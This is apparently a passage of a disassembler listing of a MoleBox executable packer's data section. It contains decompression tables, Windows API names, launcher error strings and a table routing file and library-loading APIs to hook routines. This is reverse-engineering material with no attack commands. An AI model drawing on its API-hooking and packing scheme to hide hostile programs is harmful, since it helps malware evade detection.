		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0EDh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A3h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E3h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D3h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B3h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F3h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CBh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0ABh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EBh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Bh,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FBh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A7h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F7h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EFh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_4A1128	dd 550h, 1, 557h, 101h,	553h, 11h, 55Bh, 1001h,	551h, 5
					; DATA XREF: sub_49E8AF+25o
		dd 559h, 401h, 555h, 41h, 55Dh,	4001h, 550h, 3,	558h, 201h
		dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h,	556h, 81h
		dd 5C0h, 6001h,	550h, 2, 557h, 181h, 553h, 19h,	55Bh, 1801h
		dd 551h, 7, 559h, 601h,	555h, 61h, 55Dh, 6001h,	550h, 4
		dd 558h, 301h, 554h, 31h, 55Ch,	3001h, 552h, 0Dh, 55Ah
		dd 0C01h, 556h,	0C1h, 5C0h, 6001h
aIncompleteDyna	db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_49E3A6+66o
aOversubscribed	db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_49E3A6+4Eo
aIncompleteLite	db 'incomplete literal/length tree',0 ; DATA XREF: sub_49E7AC:loc_49E891o
		align 4
aOversubscrib_1	db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_49E7AC+D7o
		align 4
aEmptyDistanceT	db 'empty distance tree with lengths',0 ; DATA XREF: sub_49E7AC:loc_49E875o
		align 4
aIncompleteDist	db 'incomplete distance tree',0 ; DATA XREF: sub_49E7AC+BBo
		align 4
aOversubscrib_0	db 'oversubscribed distance tree',0 ; DATA XREF: sub_49E7AC+ADo
		align 4
dword_4A1318	dd 0			; DATA XREF: sub_49CC4B:loc_49D07Fr
					; sub_49CC4B+4C0r ...
		dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh,	0FFh, 1FFh, 3FFh, 7FFh
		dd 0FFFh, 1FFFh, 3FFFh,	7FFFh, 0FFFFh
aGetcurrentproc	db 'GetCurrentProcess',0 ; DATA XREF: sub_48E2E0+1E4o
					; sub_48F2E0+16Bo
		align 10h
aFlushinstructi	db 'FlushInstructionCache',0 ; DATA XREF: sub_48E2E0:loc_48E4B0o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_48E2E0+1ABo
					; sub_48EDD0+1Do ...
		align 4
aBarier		db 'BARIER',0           ; DATA XREF: sub_48E2E0+4Co
		align 10h
aWindowsntUnkno	db 'WindowsNT(unknown)',0 ; DATA XREF: _4:loc_48F1D5o
					; _4:loc_48F1E1o
		align 4
aWindows_net	db 'Windows.NET',0      ; DATA XREF: _4:0048F1C9o
aWindowsxp_0	db 'WindowsXP',0        ; DATA XREF: _4:0048F1B1o
		align 4
aWindows2000	db 'Windows2000',0      ; DATA XREF: _4:0048F199o
aWindowsnt4_0	db 'WindowsNT(4.0)',0   ; DATA XREF: _4:0048F175o
		align 4
aWindowsnt3_51	db 'WindowsNT(3.51)',0  ; DATA XREF: _4:0048F15Ao
aWindows9xUnkno	db 'Windows9x(unknown)',0 ; DATA XREF: _4:loc_48F13Fo
		align 4
aWindowsme_0	db 'WindowsMe',0        ; DATA XREF: _4:0048F133o
		align 4
aWindows98_0	db 'Windows98',0        ; DATA XREF: _4:0048F11Bo
		align 4
aWindows95_0	db 'Windows95',0        ; DATA XREF: _4:0048F103o
		align 10h
aWin32s		db 'win32s',0           ; DATA XREF: _4:loc_48F0E8o
		align 4
aVirtualalloc	db 'VirtualAlloc',0     ; DATA XREF: _4:loc_48EE99o
					; sub_48F2E0+52Bo
		align 4
aCreatethread	db 'CreateThread',0     ; DATA XREF: sub_48F2E0+86Do
		align 4
aPostmessagea	db 'PostMessageA',0     ; DATA XREF: sub_48F2E0+859o
		align 4
aDefwindowproca	db 'DefWindowProcA',0   ; DATA XREF: sub_48F2E0+845o
		align 4
aEnumwindows	db 'EnumWindows',0      ; DATA XREF: sub_48F2E0+831o
aDestroywindo_0	db 'DestroyWindow',0    ; DATA XREF: sub_48F2E0+81Do
		align 4
aDispatchmessag	db 'DispatchMessageA',0 ; DATA XREF: sub_48F2E0+809o
		align 4
aTranslatemessa	db 'TranslateMessage',0 ; DATA XREF: sub_48F2E0+7F5o
		align 4
aGetmessagea	db 'GetMessageA',0      ; DATA XREF: sub_48F2E0+7E1o
aCreatewindowex	db 'CreateWindowExA',0  ; DATA XREF: sub_48F2E0+7CDo
aGetsystemmetri	db 'GetSystemMetrics',0 ; DATA XREF: sub_48F2E0+7B9o
		align 4
aRegisterclasse	db 'RegisterClassExA',0 ; DATA XREF: sub_48F2E0+7A5o
		align 10h
aSetforegroundw	db 'SetForegroundWindow',0 ; DATA XREF: sub_48F2E0+791o
aSetactivewindo	db 'SetActiveWindow',0  ; DATA XREF: sub_48F2E0+77Do
aGetwindowthrea	db 'GetWindowThreadProcessId',0 ; DATA XREF: sub_48F2E0+769o
		align 10h
aBitblt_0	db 'BitBlt',0           ; DATA XREF: sub_48F2E0+755o
		align 4
aDeleteobject_0	db 'DeleteObject',0     ; DATA XREF: sub_48F2E0+741o
		align 4
aSelectobject_0	db 'SelectObject',0     ; DATA XREF: sub_48F2E0+72Do
		align 4
aGetobjecta	db 'GetObjectA',0       ; DATA XREF: sub_48F2E0+719o
		align 4
aEndpaint	db 'EndPaint',0         ; DATA XREF: sub_48F2E0+705o
		align 10h
aBeginpaint	db 'BeginPaint',0       ; DATA XREF: sub_48F2E0+6F1o
		align 4
aRemovefontreso	db 'RemoveFontResourceA',0 ; DATA XREF: sub_48F2E0+6DDo
aDeletedc_0	db 'DeleteDC',0         ; DATA XREF: sub_48F2E0+6C9o
		align 4
aCreatedibsec_0	db 'CreateDIBSection',0 ; DATA XREF: sub_48F2E0+6B5o
		align 10h
aCreatecompat_0	db 'CreateCompatibleDC',0 ; DATA XREF: sub_48F2E0+6A1o
		align 4
aAddfontresourc	db 'AddFontResourceA',0 ; DATA XREF: sub_48F2E0:loc_48F96Do
		align 4
aGdi32_dll_0	db 'gdi32.dll',0        ; DATA XREF: sub_48F2E0+668o
		align 4
aWvsprintfa	db 'wvsprintfA',0       ; DATA XREF: sub_48F2E0+654o
		align 10h
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: sub_48F2E0+640o
		align 4
aMessageboxa_0	db 'MessageBoxA',0      ; DATA XREF: sub_48F2E0+62Co
aLoadimagea	db 'LoadImageA',0       ; DATA XREF: sub_48F2E0+618o
		align 4
aCharupperbuffa	db 'CharUpperBuffA',0   ; DATA XREF: sub_48F2E0+604o
		align 4
aChangedisplays	db 'ChangeDisplaySettingsA',0 ; DATA XREF: sub_48F2E0:loc_48F8D0o
		align 4
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: sub_48F2E0+5CBo
		align 4
aLstrcmpia	db 'lstrcmpiA',0        ; DATA XREF: sub_48F2E0+5B7o
		align 4
aWritefile	db 'WriteFile',0        ; DATA XREF: sub_48F2E0+5A3o
					; sub_49AF43+153o
		align 10h
aWidechartomult	db 'WideCharToMultiByte',0 ; DATA XREF: sub_48F2E0+58Fo
aWaitforsingleo	db 'WaitForSingleObject',0 ; DATA XREF: sub_48F2E0+57Bo
					; sub_498494+1D4o
aVirtualquery	db 'VirtualQuery',0     ; DATA XREF: sub_48F2E0+567o
		align 4
aVirtualprotect	db 'VirtualProtect',0   ; DATA XREF: sub_48F2E0+553o
		align 4
aVirtualfree	db 'VirtualFree',0      ; DATA XREF: sub_48F2E0+53Fo
aUnmapviewoffil	db 'UnmapViewOfFile',0  ; DATA XREF: sub_48F2E0+517o
aUnlockfile	db 'UnlockFile',0       ; DATA XREF: sub_48F2E0+503o
		align 10h
aTerminateproce	db 'TerminateProcess',0 ; DATA XREF: sub_48F2E0+4EFo
		align 4
aSleep		db 'Sleep',0            ; DATA XREF: sub_48F2E0+4DBo
					; sub_498494+25Eo
		align 4
aSetunhandledex	db 'SetUnhandledExceptionFilter',0 ; DATA XREF: sub_48F2E0+4C7o
aSetlasterror	db 'SetLastError',0     ; DATA XREF: sub_48F2E0+4B3o
		align 4
aSetfilepointer	db 'SetFilePointer',0   ; DATA XREF: sub_48F2E0+49Fo
		align 4
aSetevent	db 'SetEvent',0         ; DATA XREF: sub_48F2E0+48Bo
		align 4
aSetenvironment	db 'SetEnvironmentVariableA',0 ; DATA XREF: sub_48F2E0+477o
aReadfile	db 'ReadFile',0         ; DATA XREF: sub_48F2E0+463o
		align 4
aRaiseexception	db 'RaiseException',0   ; DATA XREF: sub_48F2E0+44Fo
		align 4
aOpenprocess	db 'OpenProcess',0      ; DATA XREF: sub_48F2E0+43Bo
					; sub_498494+230o
aMultibytetowid	db 'MultiByteToWideChar',0 ; DATA XREF: sub_48F2E0+427o
aMapviewoffile	db 'MapViewOfFile',0    ; DATA XREF: sub_48F2E0+413o
		align 4
aLockfile	db 'LockFile',0         ; DATA XREF: sub_48F2E0+3FFo
		align 4
aLocalfree	db 'LocalFree',0        ; DATA XREF: sub_48F2E0+3EBo
		align 10h
aLocalalloc	db 'LocalAlloc',0       ; DATA XREF: sub_48F2E0+3D7o
		align 4
aLoadlibraryexa	db 'LoadLibraryExA',0   ; DATA XREF: sub_48F2E0+3C3o
		align 4
aLoadlibrarya	db 'LoadLibraryA',0     ; DATA XREF: sub_48F2E0+3AFo
		align 4
aLeavecriticals	db 'LeaveCriticalSection',0 ; DATA XREF: sub_48F2E0+39Bo
		align 4
aDeletecritical	db 'DeleteCriticalSection',0 ; DATA XREF: sub_48F2E0+387o
		align 4
aInitializecrit	db 'InitializeCriticalSection',0 ; DATA XREF: sub_48F2E0+373o
		align 4
aHeapcreate	db 'HeapCreate',0       ; DATA XREF: sub_48F2E0+35Fo
		align 4
aHeapfree	db 'HeapFree',0         ; DATA XREF: sub_48F2E0+34Bo
		align 10h
aHeapalloc	db 'HeapAlloc',0        ; DATA XREF: sub_48F2E0+337o
		align 4
aGettickcount	db 'GetTickCount',0     ; DATA XREF: sub_48F2E0+323o
		align 4
aGetversionexa	db 'GetVersionExA',0    ; DATA XREF: sub_48F2E0+30Fo
		align 4
aGettemppatha	db 'GetTempPathA',0     ; DATA XREF: sub_48F2E0+2FBo
					; sub_498494+92o
		align 4
aGettempfilenam	db 'GetTempFileNameA',0 ; DATA XREF: sub_48F2E0+2E7o
		align 10h
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0 ; DATA XREF: sub_48F2E0+2D3o
aGetprocaddress	db 'GetProcAddress',0   ; DATA XREF: sub_48F2E0+2BFo
		align 4
aGetprivatepr_1	db 'GetPrivateProfileStringA',0 ; DATA XREF: sub_48F2E0+2ABo
		align 4
aGetprivatepr_0	db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: sub_48F2E0+297o
		align 4
aGetprivateprof	db 'GetPrivateProfileIntA',0 ; DATA XREF: sub_48F2E0+283o
		align 4
aGetmodulehandl	db 'GetModuleHandleA',0 ; DATA XREF: sub_48F2E0+26Fo
		align 10h
aGetmodulefilen	db 'GetModuleFileNameA',0 ; DATA XREF: sub_48F2E0+25Bo
		align 4
aGetlasterror	db 'GetLastError',0     ; DATA XREF: sub_48F2E0+247o
		align 4
aGetfullpathn_0	db 'GetFullPathNameW',0 ; DATA XREF: sub_48F2E0+233o
		align 4
aGetfullpathnam	db 'GetFullPathNameA',0 ; DATA XREF: sub_48F2E0+21Fo
		align 4
aGetfiletime	db 'GetFileTime',0      ; DATA XREF: sub_48F2E0+20Bo
aGetfilesize	db 'GetFileSize',0      ; DATA XREF: sub_48F2E0+1F7o
aGetfileinforma	db 'GetFileInformationByHandle',0 ; DATA XREF: sub_48F2E0+1E3o
		align 10h
aGetfileattri_0	db 'GetFileAttributesW',0 ; DATA XREF: sub_48F2E0+1CFo
		align 4
aGetfileattribu	db 'GetFileAttributesA',0 ; DATA XREF: sub_48F2E0+1BBo
		align 4
aGetexitcodepro	db 'GetExitCodeProcess',0 ; DATA XREF: sub_48F2E0+1A7o
					; sub_498494+1A6o
		align 4
aGetenvironment	db 'GetEnvironmentVariableA',0 ; DATA XREF: sub_48F2E0+193o
aGetcurrentpr_0	db 'GetCurrentProcessId',0 ; DATA XREF: sub_48F2E0+17Fo
					; sub_4968A0+11o
aFreelibrary	db 'FreeLibrary',0      ; DATA XREF: sub_48F2E0+157o
aFormatmessagea	db 'FormatMessageA',0   ; DATA XREF: sub_48F2E0+143o
		align 4
aFlushfilebuffe	db 'FlushFileBuffers',0 ; DATA XREF: sub_48F2E0+12Fo
		align 4
aFindnextfilea	db 'FindNextFileA',0    ; DATA XREF: sub_48F2E0+11Bo
		align 4
aFindfirstfilea	db 'FindFirstFileA',0   ; DATA XREF: sub_48F2E0+107o
					; sub_498494+11Co
		align 4
aFindclose	db 'FindClose',0        ; DATA XREF: sub_48F2E0+F3o
					; sub_498494+178o
		align 4
aExitprocess	db 'ExitProcess',0      ; DATA XREF: sub_48F2E0+DFo
					; sub_498494+202o
aEntercriticals	db 'EnterCriticalSection',0 ; DATA XREF: sub_48F2E0+CBo
		align 4
aDeletefilea	db 'DeleteFileA',0      ; DATA XREF: sub_48F2E0+B7o
					; sub_498494+14Ao
aDebugbreak	db 'DebugBreak',0       ; DATA XREF: sub_48F2E0+A3o
		align 10h
aCreateprocessa	db 'CreateProcessA',0   ; DATA XREF: sub_48F2E0+8Fo
		align 10h
aCreatefilema_0	db 'CreateFileMappingW',0 ; DATA XREF: sub_48F2E0+7Bo
		align 4
aCreatefilemapp	db 'CreateFileMappingA',0 ; DATA XREF: sub_48F2E0+67o
		align 4
aCreatefilew	db 'CreateFileW',0      ; DATA XREF: sub_48F2E0+53o
aCreatefilea	db 'CreateFileA',0      ; DATA XREF: sub_48F2E0+3Fo
aClosehandle	db 'CloseHandle',0      ; DATA XREF: sub_48F2E0:loc_48F30Bo
					; sub_498494+28Co
aApiNopefunc	db ':API:NopeFunc',0    ; DATA XREF: sub_49EAB0+3o
		align 4
aMbx		db 'mbx',0              ; DATA XREF: sub_49094C+19Eo
aBoxReadcompres	db ':BOX:ReadCompressedSection: decompresion failed with code %d',0
					; DATA XREF: sub_491C5C+340o
		align 10h
a?		db '\\?\',0             ; DATA XREF: sub_49253F+56o
		align 4
dword_4A1B68	dd 6Bh			; DATA XREF: sub_493DD0+5Aw
		align 10h
dword_4A1B70	dd 2 dup(0)		; DATA XREF: sub_491C5C+B6o
					; sub_491C5C+DBo ...
dword_4A1B78	dd 0			; DATA XREF: sub_491C5C+73r
					; sub_491C5C+F9w ...
dword_4A1B7C	dd 0			; DATA XREF: sub_491C5C+63r
					; sub_491C5C+106w ...
off_4A1B80	dd offset dword_4A28FC	; DATA XREF: sub_491C5C+84r
					; sub_491C5C+125r
		dd 5 dup(0)
		dd offset dword_4A2900
		dd 5 dup(0)
		dd offset dword_4A2904
		align 8
aKernel32_0	db 'kernel32',0         ; DATA XREF: sub_493DD0+E2o
					; sub_49B8AA:loc_49B995o ...
		align 4
aGetlongpathnam	db 'GetLongPathNameA',0 ; DATA XREF: sub_493DD0+DDo
					; sub_49BAEB+27o
		align 4
dword_4A1BD8	dd 584F424Dh		; DATA XREF: sub_494610:loc_4949B0r
					; sub_494610+3C4o
		align 10h
dword_4A1BE0	dd 2Ah			; DATA XREF: sub_48D06B+5Ao
dword_4A1BE4	dd 2A2E2Ah		; DATA XREF: sub_48D06B+26o
off_4A1BE8	dd offset aAvicap32_dll	; DATA XREF: sub_495AB0:loc_495BDDr
					; sub_495AB0+139w ...
					; "avicap32.dll"
aTheUncompressi	db 'The uncompression error',0
aExecutable	db 'EXECUTABLE',0       ; DATA XREF: sub_495AB0+14Bo
					; sub_495DC0+220o
		align 10h
aTheDynamicLink	db 'The dynamic link library ',27h,'%s',27h,' could not be found',0
					; DATA XREF: sub_495AB0+123o
		align 4
aOleaout32_dll	db 'oleaout32.dll',0    ; DATA XREF: sub_495DC0+295o
		align 4
aOleoaut32_dll	db 'oleoaut32.dll',0    ; DATA XREF: sub_495DC0:loc_496041o
		align 4
aImm32_dll	db 'imm32.dll',0        ; DATA XREF: sub_495DC0:loc_49601Fo
					; sub_495DC0+273o
		align 10h

loc_4A1C70:				; DATA XREF: sub_4971E1+B67o
		pop	eax
		push	0FF00FF00h
		push	0FF00FF00h
		push	0FF00FF00h
		push	eax
		push	0FF00FF00h
		retn
; ---------------------------------------------------------------------------
		align 4
dword_4A1C88	dd 6C6C642Eh, 0		; DATA XREF: sub_49681E+19o
					; sub_49681E+32o
aDProjectsMy_sr	db 'D:\Projects\My.SRC\MoleStudio\MoleBox\molebox2\bootup\mbx_DLL.cpp'
					; DATA XREF: sub_4971E1+D34o
		db 0
		align 4
a_box_		db '_BOX_',0            ; DATA XREF: sub_4971E1+ADBo
		align 4
aGetcurrentdire	db 'GetCurrentDirectoryA',0 ; DATA XREF: sub_498494+EEo
		align 4
aSetcurrentdire	db 'SetCurrentDirectoryA',0 ; DATA XREF: sub_498494+C0o
		align 4
aMbx@X@_	db 'MBX@%X@*.###',0     ; DATA XREF: sub_498494+53o
					; sub_499892+E8o
		align 4
aStripped	db '<stripped>',0       ; DATA XREF: _5:off_49F4FCo
		align 4
aAssertionFai_0	db 'ASSERTION failed',0 ; DATA XREF: _5:off_49F4F8o
		align 4
aMoleboxLaunche	db 'MoleBox launcher fatal error',0 ; DATA XREF: _5:off_49F4F4o
		align 4
asc_4A1D5C:				; DATA XREF: sub_49948C+57o
					; sub_4994F7+2Do
		dw 0Ah
		unicode	0, <>,0
aErrorAtSDReaso	db 'Error at %s:%d',0Ah ; DATA XREF: sub_49948C+1Eo
		db 0Ah
		db 'Reason: ',0
		align 4
aUp1_txt	db '-up1.txt',0         ; DATA XREF: sub_499538:loc_499648o
		align 4
aUp_txt		db '-up.txt',0          ; DATA XREF: sub_499538+BCo
asc_4A1D90	db 0Dh,0Ah,0		; DATA XREF: sub_499726+59o
		align 4
aWindowsErrorSA	db 'windows error %s',0Ah ; DATA XREF: sub_4997CA+75o
		db '  at %s(%d)',0Ah,0
		align 4
aMbx@X@X_	db 'MBX@%X@%X.###',0    ; DATA XREF: sub_499892+C2o
		align 4
aMbx@X@X@X_	db 'MBX@%X@%X@%X.###',0 ; DATA XREF: sub_499892+93o
		align 4
a__0		db '.###',0             ; DATA XREF: sub_499A16+175o
		align 10h
aMbx@		db 'MBX@',0             ; DATA XREF: sub_499A16+78o
		align 4
aInvalidDllRelo	db 'INVALID DLL RELOCATION',0 ; DATA XREF: sub_499C27:loc_499E60o
		align 10h
aBadFuulname	db 'BAD FUULNAME',0     ; DATA XREF: sub_499C27:loc_499E57o
		align 10h
aGetmodulenameE	db 'GetModuleName ERROR',0 ; DATA XREF: sub_499C27:loc_499E4Eo
aHookingDllErro	db 'HOOKING DLL ERROR',0 ; DATA XREF: sub_499C27:loc_499E45o
		align 4
aPackedDllOrBox	db 'PACKED DLL OR BOXFILE CORRUPTED',0 ; DATA XREF: sub_499C27:loc_499E3Co
aInvalidCompres	db 'INVALID COMPRESSION/ENCRYPTION ALGORITHM',0
					; DATA XREF: sub_499C27:loc_499E33o
		align 4
aDllCorrupted	db 'DLL CORRUPTED',0    ; DATA XREF: sub_499C27:loc_499E2Ao
		align 4
aHeapCorrupted	db 'HEAP CORRUPTED',0   ; DATA XREF: sub_499C27:loc_499E21o
		align 4
aCouldNotCreate	db 'COULD NOT CREATE HEAP',0 ; DATA XREF: sub_499C27:loc_499E18o
		align 4
aVirtualprote_0	db 'VIRTUALPROTECT BROKEN',0 ; DATA XREF: sub_499C27:loc_499E0Fo
		align 4
aWrappersTableB	db 'WRAPPERS TABLE BROKEN',0 ; DATA XREF: sub_499C27:loc_499E06o
		align 4
aOutOfMemory	db 'OUT OF MEMORY',0    ; DATA XREF: sub_499C27:loc_499DFDo
		align 4
aFeatureIsNotIm	db 'FEATURE IS NOT IMPLEMENTED',0 ; DATA XREF: sub_499C27:loc_499DF4o
		align 4
aBoxfileCorrupt	db 'BOXFILE CORRUPTED',0 ; DATA XREF: sub_499C27:loc_499DEBo
		align 4
aReadBoxfileErr	db 'READ BOXFILE ERROR',0 ; DATA XREF: sub_499C27:loc_499DE2o
		align 10h
aCouldNotOpenBo	db 'COULD NOT OPEN BOXFILE',0 ; DATA XREF: sub_499C27:loc_499DD6o
		align 4
aPathIsVeryLong	db 'PATH IS VERY LONG',0 ; DATA XREF: sub_499C27:loc_499DCAo
		align 4
aExecutableCorr	db 'EXECUTABLE CORRUPTED',0 ; DATA XREF: sub_499C27:loc_499DBEo
		align 4
aDynamicLibrary	db 'DYNAMIC LIBRARY IS NOT NT IMAGE',0 ; DATA XREF: sub_499C27:loc_499DB2o
aExecutableIsNo	db 'EXECUTABLE IS NOT NT IMAGE',0 ; DATA XREF: sub_499C27:loc_499DA6o
		align 10h
aHasNoAccessToE	db 'HAS NO ACCESS TO EXECUTABLE',0 ; DATA XREF: sub_499C27:loc_499D9Ao
aAssertionFaile	db 'ASSERTION FAILED',0 ; DATA XREF: sub_499C27:loc_499D8Eo
		align 10h
aEsi0x08xEdi0x0	db 'ESI:0x%08X EDI:0x%08X',0 ; DATA XREF: sub_499C27+101o
		align 4
aEsp0x08xEbp0x0	db 'ESP:0x%08X EBP:0x%08X EIP:0x%08X',0 ; DATA XREF: sub_499C27+DCo
		align 4
aEax0x08xEdx0x0	db 'EAX:0x%08X EDX:0x%08X ECX:0x%08X',0 ; DATA XREF: sub_499C27+ABo
		align 10h
aEs0x08xFs0x08x	db 'ES :0x%08X FS :0x%08X GS :0x%08X',0 ; DATA XREF: sub_499C27+7Ao
		align 4
aCs0x08xSs0x08x	db 'CS :0x%08X SS :0x%08X DS :0x%08X',0 ; DATA XREF: sub_499C27+49o
		align 4
a__seh__0xXAt0x	db '__SEH__ 0x%x at 0x%x',0 ; DATA XREF: sub_499C27+18o
		align 10h
aCc7574e45e3947	db '{CC7574E4-5E39-4700-B286-269A82DD8E95}',0 ; DATA XREF: sub_48D271+40o
					; sub_48D271+E2o
		align 4
a_splashscreen_	db '_splashscreen.bmp',0 ; DATA XREF: sub_48D3F3+12o
		align 4
aBroken0x08x	db '!broken!0x%08x:',0  ; DATA XREF: sub_499EF3+FBo
a0x08xS03x08x	db '0x%08x:[%s]:(%03x:%08x)',0 ; DATA XREF: sub_499EF3+CAo
aUnknown	db 'unknown',0          ; DATA XREF: sub_499EF3+B7o
a0x08xUnknownUn	db '0x%08x:[unknown]:unknown',0 ; DATA XREF: sub_499EF3+60o
		align 4
aBroken		db '!broken!',0         ; DATA XREF: sub_499EF3+31o
		align 4
a0x08x0x08x0x08	db '0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x',0 ; DATA XREF: sub_49A18E+F9o
aStack		db '--stack--',0        ; DATA XREF: sub_49A18E:loc_49A242o
		align 4
a___OpssBrokenB	db '   ... opss, broken by SEH',0 ; DATA XREF: sub_49A18E+A5o
					; sub_49A18E+11Eo
		align 10h
aS_7		db '   %s',0            ; DATA XREF: sub_49A18E+47o
					; sub_49A18E+8Ao
		align 4
aBacktrace	db '-- backtrace --',0  ; DATA XREF: sub_49A18E+28o
		dd 2 dup(0FFFFFFFFh)
aDllgetclassobj	db 'DllGetClassObject',0 ; DATA XREF: sub_49A31F+51o
					; sub_49C076+39o
		align 8
dword_4A21C8	dd 2 dup(0)		; DATA XREF: sub_49A3B3+55o
		dd 0C0h, 46000000h
dword_4A21D8	dd 1, 0			; DATA XREF: sub_49A3B3+11o
		dd 0C0h, 46000000h
aRegqueryvaluea	db 'RegQueryValueA',0   ; DATA XREF: sub_49A638+42o
		align 4
aAdvapi32_dll_0	db 'ADVAPI32.DLL',0     ; DATA XREF: sub_49A638+3Do
		align 4
aClsid08x04x04x	db 'CLSID\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\InprocSe'
					; DATA XREF: sub_49A71C+58o
		db 'rver32',0
off_4A2250	dd offset sub_49AC54	; DATA XREF: sub_49ADD4+102o
		dd offset aSetunhandled_1 ; "SetUnhandledExceptionFilter"
; ---------------------------------------------------------------------------
		mov	al, 0C2h
		dec	ecx
		add	[esi+esi*8], ah
		dec	ecx
		add	dh, bh
		retn	49h
; ---------------------------------------------------------------------------
		xor	dh, dh
		dec	ecx
		add	[edi+2C0049B7h], ch
		test	dword ptr [ecx+0], offset sub_49B7DD
		inc	eax
		test	dword ptr [ecx+0], offset sub_49B8AA
		push	esp
		test	dword ptr [ecx+0], offset sub_49C3FC
		cmp	al, 0F6h
		dec	ecx
		add	ch, dl
		retn
; ---------------------------------------------------------------------------
		dw 49h
		dd offset aClosehandle_1 ; "CloseHandle"
		dd offset sub_49C460
		dd offset aSetfilepoint_1 ; "SetFilePointer"
		dd offset sub_49B9EC
		dd offset aGetfilesize_1 ; "GetFileSize"
		dd offset sub_49B0C8
		dd offset aExitprocess_1 ; "ExitProcess"
		dd offset sub_49C4A4
		dd offset aCreatefilema_2 ; "CreateFileMappingA"
		dd offset sub_49C4E0
		dd offset aCreatefilema_3 ; "CreateFileMappingW"
		dd offset sub_49C51C
		dd offset aMapviewoffil_0 ; "MapViewOfFile"
		dd offset sub_49C55B
		dd offset aUnmapviewoff_0 ; "UnmapViewOfFile"
		dd offset sub_49C18D
		dd offset aFreelibrary_0 ; "FreeLibrary"
		dd offset sub_49BE83
		dd offset aLoadlibrarya_0 ; "LoadLibraryA"
		dd offset sub_49BF65
		dd offset aLoadlibraryw	; "LoadLibraryW"
		dd offset sub_49BE96
		dd offset aLoadlibrarye_0 ; "LoadLibraryExA"
		dd offset sub_49BF78
		dd offset aLoadlibraryexw ; "LoadLibraryExW"
		dd offset sub_49C076
		dd offset aGetprocaddre_0 ; "GetProcAddress"
		dd offset sub_49B334
		dd offset aFindfirstfil_1 ; "FindFirstFileA"
		dd offset sub_49B361
		dd offset aFindfirstfilew ; "FindFirstFileW"
		dd offset sub_49B4AA
		dd offset aFindfirstfilee ; "FindFirstFileExW"
		dd offset sub_49B5FF
		dd offset aFindclose_1	; "FindClose"
		dd offset sub_49B626
		dd offset aFindnextfile_1 ; "FindNextFileA"
		dd offset sub_49B657
		dd offset aFindnextfilew ; "FindNextFileW"
		dd offset sub_49C582
		dd offset aOpenfile	; "OpenFile"
		dd offset sub_49C636
		dd offset a_lopen	; "_lopen"
		dd offset sub_49C677
		dd offset a_lclose	; "_lclose"
		dd offset sub_49C711
		dd offset a_lread	; "_lread"
		dd offset sub_49C6CC
		dd offset a_llseek	; "_llseek"
		dd offset sub_49BF8C
		dd offset aGetmodulehan_0 ; "GetModuleHandleA"
		dd offset sub_49BFC6
		dd offset aGetmodulehan_1 ; "GetModuleHandleW"
		dd offset sub_49B226
		dd offset aSearchpathw	; "SearchPathW"
		dd offset sub_49B1C7
		dd offset aSearchpatha_0 ; "SearchPathA"
		dd offset sub_49BC66
		dd offset aGetprivatepr_2 ; "GetPrivateProfileStringA"
		dd offset sub_49BD0C
